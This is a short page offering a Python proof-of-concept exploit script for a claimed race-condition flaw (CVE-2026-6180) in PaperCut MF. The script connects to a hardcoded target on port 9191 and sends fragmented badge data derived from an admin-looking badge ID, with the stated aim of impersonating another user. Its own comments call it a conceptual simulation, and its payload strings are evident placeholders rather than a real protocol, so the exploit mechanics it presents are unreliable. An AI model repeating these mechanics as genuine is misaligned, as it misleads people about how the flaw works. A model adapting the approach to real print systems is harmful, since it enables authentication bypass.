CVE-2026-6180 PaperCut MF竞态条件漏洞

# Proof of Concept for CVE-2026-6180 # This script simulates the race condition by manipulating network packets. # Note: This is a conceptual demonstration for educational purposes. import socket import time def send_badge_data(target_ip, target_port, badge_id): # Simulate fragmented data sending sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) try: # Send initial fragment (Simulate dropped sequence reset) # In a real exploit, packet manipulation (e.g., using Scapy) would be required # to drop the sequence reset notification or manipulate counters. fragment_1 = b"FRAG_1_" + badge_id.encode()[:4] sock.send(fragment_1) # Simulate network delay/condition causing out-of-order processing time.sleep(0.1) # Send subsequent fragment that might be accepted erroneously # This truncated ID might match another user after post-processing fragment_2 = b"FRAG_2_TRUNCATED" sock.send(fragment_2) print(f"[+] Sent manipulated badge data to {target_ip}") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": target = "192.168.1.100" port = 9191 fake_badge = "USER_ADMIN_12345" send_badge_data(target, port, fake_badge)